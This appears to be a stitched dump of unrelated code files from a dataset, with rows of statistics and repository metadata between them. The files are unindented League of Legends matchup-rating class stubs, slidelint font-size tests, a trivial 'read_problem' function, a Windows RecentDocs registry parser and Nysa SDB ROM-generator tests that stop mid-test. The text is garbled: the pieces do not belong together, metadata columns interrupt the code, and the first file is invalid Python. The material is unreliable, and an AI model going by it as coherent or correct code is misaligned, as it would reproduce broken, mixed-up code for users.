class NA_MasterYi_Top_Amumu(Ratings):
pass
class NA_MasterYi_Top_Anivia(Ratings):
pass
class NA_MasterYi_Top_Annie(Ratings):
pass
class NA_MasterYi_Top_Ashe(Ratings):
pass
class NA_MasterYi_Top_AurelionSol(Ratings):
pass
class NA_MasterYi_Top_Azir(Ratings):
pass
class NA_MasterYi_Top_Bard(Ratings):
pass
class NA_MasterYi_Top_Blitzcrank(Ratings):
pass
class NA_MasterYi_Top_Brand(Ratings):
pass
class NA_MasterYi_Top_Braum(Ratings):
pass
class NA_MasterYi_Top_Caitlyn(Ratings):
pass
class NA_MasterYi_Top_Camille(Ratings):
pass
class NA_MasterYi_Top_Cassiopeia(Ratings):
pass
class NA_MasterYi_Top_Chogath(Ratings):
pass
class NA_MasterYi_Top_Corki(Ratings):
pass
class NA_MasterYi_Top_Darius(Ratings):
pass
class NA_MasterYi_Top_Diana(Ratings):
pass
class NA_MasterYi_Top_Draven(Ratings):
pass
class NA_MasterYi_Top_DrMundo(Ratings):
pass
class NA_MasterYi_Top_Ekko(Ratings):
pass
class NA_MasterYi_Top_Elise(Ratings):
pass
class NA_MasterYi_Top_Evelynn(Ratings):
pass
class NA_MasterYi_Top_Ezreal(Ratings):
pass
class NA_MasterYi_Top_Fiddlesticks(Ratings):
pass
class NA_MasterYi_Top_Fiora(Ratings):
pass
class NA_MasterYi_Top_Fizz(Ratings):
pass
class NA_MasterYi_Top_Galio(Ratings):
pass
class NA_MasterYi_Top_Gangplank(Ratings):
pass
class NA_MasterYi_Top_Garen(Ratings):
pass
class NA_MasterYi_Top_Gnar(Ratings):
pass
class NA_MasterYi_Top_Gragas(Ratings):
pass
class NA_MasterYi_Top_Graves(Ratings):
pass
class NA_MasterYi_Top_Hecarim(Ratings):
pass
class NA_MasterYi_Top_Heimerdinger(Ratings):
pass
class NA_MasterYi_Top_Illaoi(Ratings):
pass
class NA_MasterYi_Top_Irelia(Ratings):
pass
class NA_MasterYi_Top_Ivern(Ratings):
pass
class NA_MasterYi_Top_Janna(Ratings):
pass
class NA_MasterYi_Top_JarvanIV(Ratings):
pass
class NA_MasterYi_Top_Jax(Ratings):
pass
class NA_MasterYi_Top_Jayce(Ratings):
pass
class NA_MasterYi_Top_Jhin(Ratings):
pass
class NA_MasterYi_Top_Jinx(Ratings):
pass
class NA_MasterYi_Top_Kalista(Ratings):
pass
class NA_MasterYi_Top_Karma(Ratings):
pass
class NA_MasterYi_Top_Karthus(Ratings):
pass
class NA_MasterYi_Top_Kassadin(Ratings):
pass
class NA_MasterYi_Top_Katarina(Ratings):
pass
class NA_MasterYi_Top_Kayle(Ratings):
pass
class NA_MasterYi_Top_Kayn(Ratings):
pass
class NA_MasterYi_Top_Kennen(Ratings):
pass
class NA_MasterYi_Top_Khazix(Ratings):
pass
class NA_MasterYi_Top_Kindred(Ratings):
pass
class NA_MasterYi_Top_Kled(Ratings):
pass
class NA_MasterYi_Top_KogMaw(Ratings):
pass
class NA_MasterYi_Top_Leblanc(Ratings):
pass
class NA_MasterYi_Top_LeeSin(Ratings):
pass
class NA_MasterYi_Top_Leona(Ratings):
pass
class NA_MasterYi_Top_Lissandra(Ratings):
pass
class NA_MasterYi_Top_Lucian(Ratings):
pass
class NA_MasterYi_Top_Lulu(Ratings):
pass
class NA_MasterYi_Top_Lux(Ratings):
pass
class NA_MasterYi_Top_Malphite(Ratings):
pass
class NA_MasterYi_Top_Malzahar(Ratings):
pass
class NA_MasterYi_Top_Maokai(Ratings):
pass
class NA_MasterYi_Top_MasterYi(Ratings):
pass
class NA_MasterYi_Top_MissFortune(Ratings):
pass
class NA_MasterYi_Top_MonkeyKing(Ratings):
pass
class NA_MasterYi_Top_Mordekaiser(Ratings):
pass
class NA_MasterYi_Top_Morgana(Ratings):
pass
class NA_MasterYi_Top_Nami(Ratings):
pass
class NA_MasterYi_Top_Nasus(Ratings):
pass
class NA_MasterYi_Top_Nautilus(Ratings):
pass
class NA_MasterYi_Top_Nidalee(Ratings):
pass
class NA_MasterYi_Top_Nocturne(Ratings):
pass
class NA_MasterYi_Top_Nunu(Ratings):
pass
class NA_MasterYi_Top_Olaf(Ratings):
pass
class NA_MasterYi_Top_Orianna(Ratings):
pass
class NA_MasterYi_Top_Ornn(Ratings):
pass
class NA_MasterYi_Top_Pantheon(Ratings):
pass
class NA_MasterYi_Top_Poppy(Ratings):
pass
class NA_MasterYi_Top_Quinn(Ratings):
pass
class NA_MasterYi_Top_Rakan(Ratings):
pass
class NA_MasterYi_Top_Rammus(Ratings):
pass
class NA_MasterYi_Top_RekSai(Ratings):
pass
class NA_MasterYi_Top_Renekton(Ratings):
pass
class NA_MasterYi_Top_Rengar(Ratings):
pass
class NA_MasterYi_Top_Riven(Ratings):
pass
class NA_MasterYi_Top_Rumble(Ratings):
pass
class NA_MasterYi_Top_Ryze(Ratings):
pass
class NA_MasterYi_Top_Sejuani(Ratings):
pass
class NA_MasterYi_Top_Shaco(Ratings):
pass
class NA_MasterYi_Top_Shen(Ratings):
pass
class NA_MasterYi_Top_Shyvana(Ratings):
pass
class NA_MasterYi_Top_Singed(Ratings):
pass
class NA_MasterYi_Top_Sion(Ratings):
pass
class NA_MasterYi_Top_Sivir(Ratings):
pass
class NA_MasterYi_Top_Skarner(Ratings):
pass
class NA_MasterYi_Top_Sona(Ratings):
pass
class NA_MasterYi_Top_Soraka(Ratings):
pass
class NA_MasterYi_Top_Swain(Ratings):
pass
class NA_MasterYi_Top_Syndra(Ratings):
pass
class NA_MasterYi_Top_TahmKench(Ratings):
pass
class NA_MasterYi_Top_Taliyah(Ratings):
pass
class NA_MasterYi_Top_Talon(Ratings):
pass
class NA_MasterYi_Top_Taric(Ratings):
pass
class NA_MasterYi_Top_Teemo(Ratings):
pass
class NA_MasterYi_Top_Thresh(Ratings):
pass
class NA_MasterYi_Top_Tristana(Ratings):
pass
class NA_MasterYi_Top_Trundle(Ratings):
pass
class NA_MasterYi_Top_Tryndamere(Ratings):
pass
class NA_MasterYi_Top_TwistedFate(Ratings):
pass
class NA_MasterYi_Top_Twitch(Ratings):
pass
class NA_MasterYi_Top_Udyr(Ratings):
pass
class NA_MasterYi_Top_Urgot(Ratings):
pass
class NA_MasterYi_Top_Varus(Ratings):
pass
class NA_MasterYi_Top_Vayne(Ratings):
pass
class NA_MasterYi_Top_Veigar(Ratings):
pass
class NA_MasterYi_Top_Velkoz(Ratings):
pass
class NA_MasterYi_Top_Vi(Ratings):
pass
class NA_MasterYi_Top_Viktor(Ratings):
pass
class NA_MasterYi_Top_Vladimir(Ratings):
pass
class NA_MasterYi_Top_Volibear(Ratings):
pass
class NA_MasterYi_Top_Warwick(Ratings):
pass
class NA_MasterYi_Top_Xayah(Ratings):
pass
class NA_MasterYi_Top_Xerath(Ratings):
pass
class NA_MasterYi_Top_XinZhao(Ratings):
pass
class NA_MasterYi_Top_Yasuo(Ratings):
pass
class NA_MasterYi_Top_Yorick(Ratings):
pass
class NA_MasterYi_Top_Zac(Ratings):
pass
class NA_MasterYi_Top_Zed(Ratings):
pass
class NA_MasterYi_Top_Ziggs(Ratings):
pass
class NA_MasterYi_Top_Zilean(Ratings):
pass
class NA_MasterYi_Top_Zyra(Ratings):
pass
| 16.357314
| 46
| 0.776133
| 972
| 6,821
| 5.020576
| 0.151235
| 0.197951
| 0.42418
| 0.509016
| 0.814139
| 0.814139
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162879
| 6,821
| 416
| 47
| 16.396635
| 0.854641
| 0
| 0
| 0.498195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
f1ee91d167b01ecf0d0a255ae45291266654a7b0
| 13,339
|
py
|
Python
|
src/slidelint/tests/checkers/font_size/TestCheckerFontSize.py
|
enkidulan/slidelint
|
ddc99831ce2129254deba580665842b0cdb05a17
|
[
"Apache-2.0"
] | 7
|
2015-02-11T14:36:14.000Z
|
2021-07-15T13:57:00.000Z
|
src/slidelint/tests/checkers/font_size/TestCheckerFontSize.py
|
timvideos/slidelint
|
145a273fb188def19da3f57bbd0ab247f34d7c3f
|
[
"Apache-2.0"
] | null | null | null |
src/slidelint/tests/checkers/font_size/TestCheckerFontSize.py
|
timvideos/slidelint
|
145a273fb188def19da3f57bbd0ab247f34d7c3f
|
[
"Apache-2.0"
] | 1
|
2020-12-21T05:23:59.000Z
|
2020-12-21T05:23:59.000Z
|
"""
The *_font_gradient.pdf files have 16 slides that contain a different
sized text:
* the first slide contains 1/1 sized text - the text is as high as
the page
* the second slide contains 1/2 sized text - the text is twice smaller than
the page
* ...
* the 16th slide contains 1/16 sized text - the sixteen lines can be
fit in the page
The tests check:
1. whether help messages are provided
2. whether with default size value(1/6) the checks of 7..16 slides fail
3. whether with custom size value 1/7 the checks of 8..16 slides fail
4. whether with custom size value 1/10 the checks of 11..16 slides fail
5. whether with custom size value 1/16 the checks of all slides pass
Also this checking depends on the font type and its features.
"""
import os.path
import unittest
from testfixtures import compare
from slidelint.checkers import fontsize
here = os.path.dirname(os.path.abspath(__file__))
class TestFontSizeChecker(unittest.TestCase):
def test_checker_helpers(self):
compare(fontsize.main(msg_info='All'),
[dict(id='C1002',
msg_name='font-to-small',
msg='Font is to small: Text should take up a minimum '
'of 1/6th(by default) the page.',
help='Font is to small: Text should take up a minimum '
'of 1/6th(by default) the page.',
page='')])
compare(fontsize.main(msg_info=['C1002']),
[dict(id='C1002',
msg_name='font-to-small',
msg='Font is to small: Text should take up a minimum '
'of 1/6th(by default) the page.',
help='Font is to small: Text should take up a minimum '
'of 1/6th(by default) the page.',
page='')])
compare(fontsize.main(msg_info=['W8001']),
[])
def test_default(self):
for prefix in ('libreoffice', 'msoffice'):
target_file = os.path.join(
here, prefix+'_font_gradient.pdf')
rez = fontsize.main(target_file=target_file)
compare(rez,
[{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 7'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 8'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 9'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 10'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 11'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 12'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 13'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 14'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 15'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/6.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 16'}])
def test_1_of_7(self):
for prefix in ('libreoffice', 'msoffice'):
target_file = os.path.join(
here, prefix+'_font_gradient.pdf')
rez = fontsize.main(target_file=target_file, min_page_ratio=7)
compare(rez,
[{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 8'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 9'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 10'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 11'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 12'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 13'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 14'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 15'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/7.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 16'}])
def test_1_of_10(self):
for prefix in ('libreoffice', 'msoffice'):
target_file = os.path.join(
here, prefix+'_font_gradient.pdf')
rez = fontsize.main(target_file=target_file, min_page_ratio=10)
compare(rez,
[{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/10.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 11'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/10.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 12'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/10.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 13'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/10.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 14'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/10.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 15'},
{'help': 'Font is to small: Text should take up a '
'minimum of 1/6th(by default) the page.',
'id': 'C1002',
'msg': 'Font is to small: Text should take up a minimum'
' of 1/10.0th the page.',
'msg_name': 'font-to-small',
'page': 'Slide 16'}])
def test_1_of_16(self):
for prefix in ('libreoffice', 'msoffice'):
target_file = os.path.join(
here, prefix+'_font_gradient.pdf')
rez = fontsize.main(target_file=target_file, min_page_ratio=16)
compare(rez,
[])
if __name__ == '__main__':
unittest.main()
| 51.70155
| 78
| 0.425219
| 1,541
| 13,339
| 3.627515
| 0.079169
| 0.101431
| 0.077281
| 0.125581
| 0.874419
| 0.863327
| 0.848837
| 0.848837
| 0.848837
| 0.848837
| 0
| 0.048798
| 0.463828
| 13,339
| 257
| 79
| 51.902724
| 0.732802
| 0.057725
| 0
| 0.907489
| 0
| 0
| 0.425364
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022026
| false
| 0
| 0.017621
| 0
| 0.044053
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9e45c88a971aad2ac34afc6b937b2951c5be2eb3
| 98
|
py
|
Python
|
src/projects/problem_id/Reader.py
|
Gabvaztor/tensorflowCode
|
e206ea4544552b87c2d43274cea3182f6b385a87
|
[
"Apache-2.0"
] | 4
|
2019-12-14T08:06:18.000Z
|
2020-09-12T10:09:31.000Z
|
src/projects/problem_id/Reader.py
|
Gabvaztor/tensorflowCode
|
e206ea4544552b87c2d43274cea3182f6b385a87
|
[
"Apache-2.0"
] | null | null | null |
src/projects/problem_id/Reader.py
|
Gabvaztor/tensorflowCode
|
e206ea4544552b87c2d43274cea3182f6b385a87
|
[
"Apache-2.0"
] | 2
|
2020-09-12T10:10:07.000Z
|
2021-09-15T11:58:37.000Z
|
def read_problem():
print("read_problem is executed from other module using dynamical import")
| 49
| 78
| 0.785714
| 14
| 98
| 5.357143
| 0.857143
| 0.293333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 98
| 2
| 78
| 49
| 0.892857
| 0
| 0
| 0
| 0
| 0
| 0.656566
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0.5
| 0
| 1
| 0.5
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 9
|
7b88f38bf360a8f957c33949114a4913ae4b4da0
| 5,003
|
py
|
Python
|
modules/Registry/lv1_os_win_reg_recent_docs.py
|
naaya17/carpe
|
fa2e3cfebe20f8839c985e5b9b78b538800172a1
|
[
"Apache-2.0"
] | null | null | null |
modules/Registry/lv1_os_win_reg_recent_docs.py
|
naaya17/carpe
|
fa2e3cfebe20f8839c985e5b9b78b538800172a1
|
[
"Apache-2.0"
] | null | null | null |
modules/Registry/lv1_os_win_reg_recent_docs.py
|
naaya17/carpe
|
fa2e3cfebe20f8839c985e5b9b78b538800172a1
|
[
"Apache-2.0"
] | null | null | null |
from datetime import datetime, timedelta
import binascii
class Recent_Docs_Information:
par_id = ''
case_id = ''
evd_id = ''
file_folder_name = ''
file_folder_link = ''
modified_time = ''
registry_order = ''
value = ''
useraccount = ''
backup_flag = ''
source_location = ''
def RECENTDOCS(reg_nt):
recent_docs_list = []
recent_docs_order = []
recent_docs_count = 0
reg_key = reg_nt.find_key(r"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs")
try:
if reg_key != None:
for reg_value in reg_key.values():
if reg_value.name() == 'MRUListEx':
for i in range(0, len(list(reg_key.values()))-1):
recent_docs_order.append(int(binascii.b2a_hex(reg_value.data()[4*i:4*i+4][::-1]),16))
else:
for order in recent_docs_order:
if reg_value.name() == str(order):
recent_docs_information = Recent_Docs_Information()
recent_docs_list.append(recent_docs_information)
if reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16')[-1] != '6':
recent_docs_list[recent_docs_count].file_folder_name = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16')
recent_docs_list[recent_docs_count].file_folder_link = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16').split('.')[0] + '.lnk'
elif reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16')[-1] == '6':
recent_docs_list[recent_docs_count].file_folder_name = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + -5].decode('utf-16')
recent_docs_list[recent_docs_count].file_folder_link = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + -5].decode('utf-16').split('.')[0] + '.lnk'
recent_docs_list[recent_docs_count].modified_time = reg_key.last_written_timestamp().isoformat()+'Z'
recent_docs_list[recent_docs_count].registry_order = recent_docs_count + 1
recent_docs_list[recent_docs_count].value = reg_value.name()
recent_docs_list[recent_docs_count].source_location = "NTUSER-SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs/"
recent_docs_count = recent_docs_count + 1
for reg_subkey in reg_key.subkeys():
recent_docs_order = []
for reg_value in reg_subkey.values():
if reg_value.name() == 'MRUListEx':
for i in range(0, len(list(reg_subkey.values()))-1):
recent_docs_order.append(int(binascii.b2a_hex(reg_value.data()[4*i:4*i+4][::-1]),16))
for order in recent_docs_order:
for reg_value in reg_subkey.values():
if reg_value.name() == str(order):
recent_docs_information = Recent_Docs_Information()
recent_docs_list.append(recent_docs_information)
if reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16')[-1] != '6':
recent_docs_list[recent_docs_count].file_folder_name = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16')
recent_docs_list[recent_docs_count].file_folder_link = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16').split('.')[0] + '.lnk'
elif reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + 1].decode('utf-16')[-1] == '6':
recent_docs_list[recent_docs_count].file_folder_name = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + -5].decode('utf-16')
recent_docs_list[recent_docs_count].file_folder_link = reg_value.data()[0:reg_value.data().find(b'\x00\x00\x00') + -5].decode('utf-16').split('.')[0] + '.lnk'
if recent_docs_count == 0:
recent_docs_list[recent_docs_count].modified_time = reg_subkey.last_written_timestamp().isoformat()+'Z'
recent_docs_list[recent_docs_count].registry_order = recent_docs_count+1
recent_docs_list[recent_docs_count].value = reg_value.name()
recent_docs_list[recent_docs_count].source_location = "NTUSER-SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs/"
recent_docs_count = recent_docs_count + 1
except:
print('-----Recent Documents Error')
return recent_docs_list
| 67.608108
| 190
| 0.574255
| 635
| 5,003
| 4.206299
| 0.132283
| 0.213403
| 0.11681
| 0.127293
| 0.85848
| 0.843504
| 0.809435
| 0.809435
| 0.809435
| 0.776488
| 0
| 0.043746
| 0.287228
| 5,003
| 73
| 191
| 68.534247
| 0.705272
| 0
| 0
| 0.537313
| 0
| 0
| 0.097161
| 0.039784
| 0
| 0
| 0
| 0
| 0
| 1
| 0.014925
| false
| 0
| 0.029851
| 0
| 0.238806
| 0.014925
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7b9f64fb32fe0f81c227765dfe3e64eb59ae9537
| 8,035
|
py
|
Python
|
test/unit/test_som_rom_generator.py
|
CospanDesign/nysa
|
ffe07f0b8fe2f6217e7a862d89b80f1b17163be9
|
[
"MIT"
] | 15
|
2015-08-31T20:50:39.000Z
|
2022-03-13T08:56:39.000Z
|
test/unit/test_som_rom_generator.py
|
CospanDesign/nysa
|
ffe07f0b8fe2f6217e7a862d89b80f1b17163be9
|
[
"MIT"
] | 5
|
2015-05-02T16:48:57.000Z
|
2017-06-15T16:25:34.000Z
|
test/unit/test_som_rom_generator.py
|
CospanDesign/nysa
|
ffe07f0b8fe2f6217e7a862d89b80f1b17163be9
|
[
"MIT"
] | 6
|
2016-09-02T16:02:13.000Z
|
2021-06-29T22:29:45.000Z
|
#!/usr/bin/python
import unittest
import json
import sys
import os
sys.path.append(os.path.join(os.path.dirname(__file__),
os.pardir,
os.pardir))
from nysa.cbuilder import sdb_component as sdbc
from nysa.cbuilder import sdb_object_model as som
from nysa.cbuilder.som_rom_generator import generate_rom_image
from nysa.cbuilder.som_rom_generator import get_total_number_of_records
from nysa.cbuilder.sdb import SDBInfo
from nysa.cbuilder.sdb import SDBWarning
from nysa.cbuilder.sdb import SDBError
from nysa.common.status import StatusLevel
from nysa.common.status import Status
class Test (unittest.TestCase):
"""Unit test SDB Tree"""
def setUp(self):
self.som = som.SOM()
def test_generate_simple_rom(self):
self.som.initialize_root()
root = self.som.get_root()
d = sdbc.create_device_record(name = "device 1", size = 0x100)
self.som.insert_component(root, d)
rom = generate_rom_image(self.som)
#rom = generate_rom_image(self.som)
write_to_file(rom, "/home/cospan/sandbox/simple_rom.txt")
#print_sdb(rom)
def test_generate_one_sub_bus_rom(self):
self.som.initialize_root()
root = self.som.get_root()
bus = self.som.insert_bus()
d = sdbc.create_device_record(name = "device 1", size = 0x100)
self.som.insert_component(bus, d)
rom = generate_rom_image(self.som)
#print_sdb(rom)
#Need a mechanism to verify this
def test_generate_two_sub_buses(self):
self.som.initialize_root()
root = self.som.get_root()
peripheral = self.som.insert_bus()
peripheral.set_name("peripheral")
memory = self.som.insert_bus()
memory.set_name("memory")
d1 = sdbc.create_device_record(name = "device 1", size = 0x100)
d2 = sdbc.create_device_record(name = "device 2", size = 0x100)
m1 = sdbc.create_device_record(name = "memory 1", size = 0x10000)
m2 = sdbc.create_device_record(name = "memory 2", size = 0x20000)
peripheral.set_child_spacing(0x0100000000)
self.som.insert_component(peripheral, d1)
self.som.insert_component(peripheral, d2)
self.som.insert_component(memory, m1)
self.som.insert_component(memory, m2)
rom = generate_rom_image(self.som)
write_to_file(rom, "/home/cospan/sandbox/two_bus_rom.txt")
#print_sdb(rom)
def test_generate_one_sub_bus_integration_record(self):
self.som.initialize_root()
root = self.som.get_root()
bus = self.som.insert_bus()
intr = sdbc.create_integration_record("Integration Data",
vendor_id = 0x800BEAF15DEADC03,
device_id = 0x00000000)
d = sdbc.create_device_record(name = "device 1", size = 0x100)
self.som.insert_component(bus, d)
self.som.insert_component(bus, intr)
rom = generate_rom_image(self.som)
#print_sdb(rom)
def test_generate_one_sub_bus_with_url(self):
self.som.initialize_root()
root = self.som.get_root()
bus = self.som.insert_bus()
url = sdbc.create_repo_url_record("http://www.geocities.com")
d = sdbc.create_device_record(name = "device 1", size = 0x100)
self.som.insert_component(bus, d)
self.som.insert_component(root, url)
rom = generate_rom_image(self.som)
#print_sdb(rom)
def test_generate_one_sub_bus_with_synthesis(self):
self.som.initialize_root()
root = self.som.get_root()
bus = self.som.insert_bus()
url = sdbc.create_repo_url_record("http://www.geocities.com")
synthesis = sdbc.create_synthesis_record("Synthesis Name", 123, "cool tool", 1.0, "jeff")
d = sdbc.create_device_record(name = "device 1", size = 0x100)
self.som.insert_component(bus, d)
self.som.insert_component(root, synthesis)
rom = generate_rom_image(self.som)
#print_sdb(rom)
def test_parse_large_rom(self):
self.som.initialize_root()
root = self.som.get_root()
url = sdbc.create_repo_url_record("http://www.geocities.com")
synthesis = sdbc.create_synthesis_record("Synthesis Name", 123, "cool tool", 1.0, "jeff")
intr = sdbc.create_integration_record("Integration Data",
vendor_id = 0x800BEAF15DEADC03,
device_id = 0x00000000)
peripheral = self.som.insert_bus()
peripheral.set_name("peripheral")
memory = self.som.insert_bus()
memory.set_name("memory")
self.som.insert_component(root, url)
self.som.insert_component(root, synthesis)
d1 = sdbc.create_device_record(name = "device 1", size = 0x100)
d2 = sdbc.create_device_record(name = "device 2", size = 0x100)
m1 = sdbc.create_device_record(name = "memory 1", size = 0x10000)
m2 = sdbc.create_device_record(name = "memory 2", size = 0x20000)
peripheral.set_child_spacing(0x0100000000)
self.som.insert_component(peripheral, d1)
self.som.insert_component(peripheral, d2)
self.som.insert_component(peripheral, intr)
self.som.insert_component(memory, m1)
self.som.insert_component(memory, m2)
rom = generate_rom_image(self.som)
#print_sdb(rom)
def test_get_total_number_of_records(self):
self.som.initialize_root()
root = self.som.get_root()
url = sdbc.create_repo_url_record("http://www.geocities.com")
synthesis = sdbc.create_synthesis_record("Synthesis Name", 123, "cool tool", 1.0, "jeff")
intr = sdbc.create_integration_record("Integration Data",
vendor_id = 0x800BEAF15DEADC03,
device_id = 0x00000000)
peripheral = self.som.insert_bus()
peripheral.set_name("peripheral")
memory = self.som.insert_bus()
memory.set_name("memory")
self.som.insert_component(root, url)
self.som.insert_component(root, synthesis)
d1 = sdbc.create_device_record(name = "device 1", size = 0x100)
d2 = sdbc.create_device_record(name = "device 2", size = 0x100)
m1 = sdbc.create_device_record(name = "memory 1", size = 0x10000)
m2 = sdbc.create_device_record(name = "memory 2", size = 0x20000)
peripheral.set_child_spacing(0x0100000000)
self.som.insert_component(peripheral, d1)
